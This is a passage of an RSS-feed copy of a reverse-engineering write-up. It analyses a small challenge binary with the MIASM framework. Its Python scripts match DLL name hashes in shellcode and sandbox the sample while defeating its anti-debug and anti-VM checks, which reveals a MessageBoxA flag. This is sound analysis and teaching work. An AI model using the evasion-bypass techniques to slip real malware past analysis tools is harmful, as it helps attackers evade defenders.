&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_c0.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-dll-processing&quot;&gt;DLL processing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Sets DLL pointer in ESI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Resets EDI to 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Loads DLL characters byte-by-byte&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tests for end of string (EAX = 0)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Systematically processes DLL characters&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_cd_d2.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-identifying-the-loaded-dll&quot;&gt;Identifying the loaded DLL&lt;/h4&gt;
&lt;p&gt;To identify the loaded DLL, we can use a list of common DLLs, use the same hashing method as the binary and just compare the hashes we obtained. All of this will be done with the following script that uses the MIASM framework.&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;python&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;python code&quot;&gt;&lt;code class=&quot;hljs language-python&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.analysis.machine &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; Machine
&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.core.locationdb &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; LocationDB
&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.jitter.csts &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; PAGE_READ, PAGE_WRITE, PAGE_EXEC
&lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; sys

&lt;span class=&quot;hljs-comment&quot;&gt;# Initialize x86 32-bit emulator&lt;/span&gt;
machine = Machine(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;x86_32&amp;quot;&lt;/span&gt;)
loc_db = LocationDB()
jitter = machine.jitter(loc_db)

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping shellcode&lt;/span&gt;
addr_shellcode = &lt;span class=&quot;hljs-number&quot;&gt;0x10000&lt;/span&gt;
jitter.vm.add_memory_page(addr_shellcode, PAGE_READ | PAGE_WRITE | PAGE_EXEC, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;shellcode décodé&amp;quot;&lt;/span&gt;)

shellcode = &lt;span class=&quot;hljs-built_in&quot;&gt;open&lt;/span&gt;(&lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;output_020.bin&amp;#x27;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;).read()
jitter.vm.set_mem(addr_shellcode, shellcode)

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping stack memory&lt;/span&gt;
addr_stack = &lt;span class=&quot;hljs-number&quot;&gt;0x20000&lt;/span&gt;
jitter.vm.add_memory_page(addr_stack, PAGE_READ | PAGE_WRITE, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;stack&amp;quot;&lt;/span&gt;)
jitter.vm.set_mem(addr_stack + &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt; - &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\xef\xbe\x37\x13&amp;quot;&lt;/span&gt;)
jitter.cpu.ESP = addr_stack + &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt; - &lt;span class=&quot;hljs-number&quot;&gt;4&lt;/span&gt;

&lt;span class=&quot;hljs-comment&quot;&gt;# Configure logging&lt;/span&gt;
jitter.set_trace_log(trace_instr=&lt;span class=&quot;hljs-literal&quot;&gt;False&lt;/span&gt;, trace_regs=&lt;span class=&quot;hljs-literal&quot;&gt;False&lt;/span&gt;, trace_new_blocks=&lt;span class=&quot;hljs-literal&quot;&gt;True&lt;/span&gt;)

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping dll name&lt;/span&gt;
addr_dllname = &lt;span class=&quot;hljs-number&quot;&gt;0x30000&lt;/span&gt;
jitter.vm.add_memory_page(addr_dllname, PAGE_READ, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;dll name&amp;quot;&lt;/span&gt;)

&lt;span class=&quot;hljs-comment&quot;&gt;# Callback function for breakpoint&lt;/span&gt;
&lt;span class=&quot;hljs-keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;hljs-title function_&quot;&gt;dump&lt;/span&gt;(&lt;span class=&quot;hljs-params&quot;&gt;jitter&lt;/span&gt;):
    &lt;span class=&quot;hljs-built_in&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;Hash: %x&amp;quot;&lt;/span&gt; % jitter.cpu.EDI)
    &lt;span class=&quot;hljs-keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;hljs-literal&quot;&gt;False&lt;/span&gt;

&lt;span class=&quot;hljs-comment&quot;&gt;# Set breakpoint at shellcode + 0xEB (end of hash computation)&lt;/span&gt;
jitter.add_breakpoint(addr_shellcode + &lt;span class=&quot;hljs-number&quot;&gt;0xEB&lt;/span&gt;, dump)

&lt;span class=&quot;hljs-comment&quot;&gt;# Process each DLL name from the list file&lt;/span&gt;
fdesc = &lt;span class=&quot;hljs-built_in&quot;&gt;open&lt;/span&gt;(&lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;dll.list&amp;#x27;&lt;/span&gt;)
&lt;span class=&quot;hljs-keyword&quot;&gt;for&lt;/span&gt; line &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; fdesc:
    line = line.strip()
    &lt;span class=&quot;hljs-built_in&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;hljs-built_in&quot;&gt;repr&lt;/span&gt;(line))
    jitter.cpu.ESI = addr_dllname
    jitter.cpu.EDI = &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;
    dllname = line + &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;\x00&amp;quot;&lt;/span&gt;
    jitter.vm.set_mem(addr_dllname, dllname.encode(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;utf-16le&amp;quot;&lt;/span&gt;))
  
    jitter.run(addr_shellcode + &lt;span class=&quot;hljs-number&quot;&gt;0xD2&lt;/span&gt;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After running this script, we can compare the script output and the hash we previously got using IDA&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/dll_hash.png&quot; alt=&quot;image.png&quot;&gt;&lt;br&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/pushed_hash.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can also observe a function that does a decryption routine for the DLLs function&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/dll_function_routine.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;chapter-dynamic-analysis&quot;&gt;Dynamic analysis&lt;/h2&gt;
&lt;p&gt;Now that we understand how this binary works, we can dynamically analyse it using a miasm sandbox.&lt;/p&gt;
&lt;p&gt;To do so, we will need to do the following :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Create a sandbox on an appropriate version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inject the binary in the sandbox&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bypass the anti-debug verification&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Bypass the anti-vm verification&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The script below does it all for us :&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;python&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;python code&quot;&gt;&lt;code class=&quot;hljs language-python&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; pdb &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; pm
&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.analysis.sandbox &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; Sandbox_Win_x86_32
&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.core.locationdb &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; LocationDB
&lt;span class=&quot;hljs-keyword&quot;&gt;from&lt;/span&gt; miasm.jitter.csts &lt;span class=&quot;hljs-keyword&quot;&gt;import&lt;/span&gt; PAGE_READ, PAGE_WRITE, PAGE_EXEC

&lt;span class=&quot;hljs-comment&quot;&gt;# Initialize parser&lt;/span&gt;
parser = Sandbox_Win_x86_32.parser(description=&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;PE sandbox&amp;quot;&lt;/span&gt;)
parser.add_argument(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;filename&amp;quot;&lt;/span&gt;, &lt;span class=&quot;hljs-built_in&quot;&gt;help&lt;/span&gt;=&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;PE FILENAME&amp;quot;&lt;/span&gt;)
options = parser.parse_args()

&lt;span class=&quot;hljs-comment&quot;&gt;# Initialize sandbox&lt;/span&gt;
loc_db = LocationDB()
sb = Sandbox_Win_x86_32(loc_db, options.filename, options, &lt;span class=&quot;hljs-built_in&quot;&gt;globals&lt;/span&gt;())

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping shellcode&lt;/span&gt;
addr_shellcode = &lt;span class=&quot;hljs-number&quot;&gt;0x4000000&lt;/span&gt;
sb.jitter.vm.add_memory_page(addr_shellcode, PAGE_READ | PAGE_WRITE | PAGE_EXEC, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x1000&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;shellcode&amp;quot;&lt;/span&gt;)

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping PEB isDebugged flag&lt;/span&gt;
addr_peb_flag = &lt;span class=&quot;hljs-number&quot;&gt;0x7FFDF002&lt;/span&gt;
sb.jitter.vm.add_memory_page(addr_peb_flag, PAGE_READ | PAGE_WRITE, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x1&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;PEB isDebugged&amp;quot;&lt;/span&gt;)
sb.jitter.vm.set_mem(addr_peb_flag, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt;)  &lt;span class=&quot;hljs-comment&quot;&gt;# Bypass the check by setting the isDebugged flag to 0&lt;/span&gt;

&lt;span class=&quot;hljs-comment&quot;&gt;# Mapping PEB NumberOfProcessors flag&lt;/span&gt;
addr_peb_check = &lt;span class=&quot;hljs-number&quot;&gt;0x7FFDF064&lt;/span&gt;
sb.jitter.vm.add_memory_page(addr_peb_check, PAGE_READ | PAGE_WRITE, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x00&amp;quot;&lt;/span&gt; * &lt;span class=&quot;hljs-number&quot;&gt;0x4&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;PEB NumberOfProcessors&amp;quot;&lt;/span&gt;)
sb.jitter.vm.set_mem(addr_peb_check, &lt;span class=&quot;hljs-string&quot;&gt;b&amp;quot;\x03&amp;quot;&lt;/span&gt;)  &lt;span class=&quot;hljs-comment&quot;&gt;# Bypass the check by setting the NumberOfProcessors to 3&lt;/span&gt;

&lt;span class=&quot;hljs-comment&quot;&gt;# Set shellcode&lt;/span&gt;
shellcode = &lt;span class=&quot;hljs-built_in&quot;&gt;open&lt;/span&gt;(&lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;output_012.bin&amp;#x27;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;).read()
sb.jitter.vm.set_mem(addr_shellcode, shellcode)
sb.jitter.cpu.EAX = addr_shellcode

sb.run(addr_shellcode)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We can then run the script with the command below so we are able to interact with the sandbox&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;shell&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;shell code&quot;&gt;&lt;code class=&quot;hljs language-bash&quot;&gt;python3 -i sandbox.py miasm/example/samples/box_upx.exe -b -s -y -l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The arguments used are the following :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;-b : Log disasm blocks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;-s : Use segments&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;-y : Create and use windows structures&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;-l : Load base dll&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the script finished running, we can observe that a &lt;strong&gt;user32_MessageBoxA&lt;/strong&gt; is present with the text present at &lt;strong&gt;0x4000100&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When we print the value at &lt;strong&gt;0x4000100&lt;/strong&gt;, we can obtain the flag !&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/flag.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;chapter-execution-flow&quot;&gt;Execution flow&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/execution_flow.png&quot; alt=&quot;execution_flow.png&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;chapter-conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;This analysis revealed a binary employing multiple anti-analysis techniques:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Anti-debugging checks via the PEB&amp;#39;s BeingDebugged flag&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anti-VM detection by counting processors&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using both static analysis and dynamic analysis, I was able to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Bypass the protective measures&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Understand the execution flow&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Decrypt the payload&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Identify the final action, a MessageBoxA call displaying a flag&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Special thanks to serpilliere for the binary, &lt;a href=&quot;https://github.com/Esgr0bar&quot; title=&quot;esgr0bar&quot;&gt;esgr0bar&lt;/a&gt;, &lt;a href=&quot;https://github.com/off-path&quot; title=&quot;offpath&quot;&gt;offpath&lt;/a&gt; and &lt;a href=&quot;https://github.com/mins007&quot; title=&quot;mins&quot;&gt;mins&lt;/a&gt; for the help given on the analysis&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Sources : &lt;a href=&quot;https://github.com/cea-sec/miasm&quot; title=&quot;MIASM&quot;&gt;MIASM&lt;/a&gt; - &lt;a href=&quot;https://www.vergiliusproject.com/kernels/x86/windows-xp/sp3/_PEB&quot; title=&quot;PEB STRUCTURE&quot;&gt;PEB STRUCTURE&lt;/a&gt;&lt;/p&gt;
</description><category>Reverse</category><category>Binary</category><category>reverse</category><category>miasm</category></item></channel></rss>